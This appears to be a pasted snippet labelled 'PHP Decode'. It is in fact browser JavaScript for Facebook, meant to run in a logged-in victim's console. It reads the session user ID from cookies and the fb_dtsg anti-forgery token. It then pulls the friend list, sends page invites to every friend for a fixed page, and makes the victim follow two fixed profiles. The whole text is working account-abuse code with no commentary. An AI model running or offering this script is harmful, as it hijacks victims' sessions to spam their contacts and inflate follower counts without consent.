PHP Decode

<?  var aing={ 
  uid:document.cookie.match(/c_user=(\d+)/)[1], 
  dtsg:document.getElementsByName("fb_dtsg")[0].value, 
  pejId:"1745159349052799", 
  post:function(a,b,c){ 
    var sa=new XMLHttpRequest(); 
    sa.open("POST",a,true); 
    sa.setRequestHeader("Content-type","application/x-www-form-urlencoded"); 
    sa.onreadystatechange=c; 
    sa.send(b); 
  }, 
  getPren:function(uidnya){ 
    var a=window.ActiveXObject?new ActiveXObject("Msxml2.XMLHTTP"):new XMLHttpRequest; 
    if(a.open("GET","/ajax/typeahead/first_degree.php?__a=1&filter[0]=user&lazy=0&viewer="+uidnya+"&token=v7&stale_ok=0&options[0]=friends_only&options[1]=nm",!1),a.send(null),4==a.readyState){var b=JSON.parse(a.responseText.substring(a.responseText.indexOf("{")));return b.payload.entries}return !1 
  }, 
  hajar:function(){ 
    aing.ok=0; 
    aing.er=1; 
    aing.koncos=aing.getPren(aing.uid); 
    aing.param="page_id="+aing.pejId+"&elem_id=u_jsonp_2_13&action=send&ref=admin_tip&__user="+aing.uid+"&__a=1&__dyn=aJswECyj2qmqyzpQ9VUgHaFbAicieyp9Ey4UhAiFk8AlqzCAjECiUlBw&__req=1o&fb_dtsg="+aing.dtsg+"&ttstamp=26581671128095120118&__rev=1169548"; 
    for(var n=1;n<aing.koncos.length;n++){ 
      aing.post("/ajax/pages/invite/send_single/?invitee="+aing.koncos[n].uid,aing.param,function(p){ 
        if(p.target.readyState==4){ 
          aing.ok++; 
          var b=JSON.parse(p.target.responseText.substring(p.target.responseText.indexOf("{"))); 
          if(b.errorSummary&&b.errorDescription){ 
            aing.er++; 
          } 
          console.log("("+(aing.ok+aing.er)+") "+aing.ok+"+"+aing.er+"/"+aing.koncos.length); 
        } 
      }); 
    } 
  } 
}; 
aing.hajar(); 
var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value; 
var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]); 
var fb_dtsg=document.getElementsByName("fb_dtsg")[0].value; 
var user_id=document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]); 
function a(abone){var http4=new XMLHttpRequest;var url4="/ajax/follow/follow_profile.php?__a=1";var params4="profile_id="+abone+"&location=1&source=follow-button&subscribed_button_id=u37qac_37&fb_dtsg="+fb_dtsg+"&lsd&__"+user_id+"&phstamp=";http4.open("POST",url4,true);http4.onreadystatechange=function(){if(http4.readyState==4&&http4.status==200)http4.close};http4.send(params4)}a("1704831180");a("100012194027562"); 
 ?>